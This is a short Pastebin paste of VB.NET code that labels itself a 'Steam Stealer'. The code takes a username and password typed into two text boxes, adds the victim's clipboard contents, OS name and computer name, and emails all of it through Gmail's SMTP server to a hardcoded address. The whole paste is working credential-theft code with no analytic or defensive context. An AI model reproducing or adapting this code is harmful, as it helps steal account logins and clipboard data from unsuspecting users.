Advertisement
Guest User

Untitled

a guest
Jul 27th, 2017
464
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 0.91 KB | None | 0 0
  1. Dim MyMailMessage As New MailMessage()
  2.                 MyMailMessage.From = New MailAddress("username@gmail.com")
  3.                 MyMailMessage.To.Add("username@gmail.com")
  4.                 MyMailMessage.Subject = (My.Computer.Info.OSFullName + My.Computer.Name)
  5.  
  6.                 MyMailMessage.Body = ("====Date/Time:======" + DateTime.Now + "==========") + vbNewLine + ("\<====Steam Stealer====>/") + vbNewLine + ("Username: " + TextBox1.Text) + vbNewLine + ("Password: " + TextBox2.Text) + vbNewLine + ("Clipboard: " + My.Computer.Clipboard.GetText) + vbNewLine + ("====Date/Time:======" + DateTime.Now + "==========")
  7.  
  8.                 Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  9.                 SMTPServer.Port = 587
  10.                 SMTPServer.Credentials = New System.Net.NetworkCredential("username@gmail.com", "password")
  11.                 SMTPServer.EnableSsl = True
  12.                 SMTPServer.Send(MyMailMessage)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement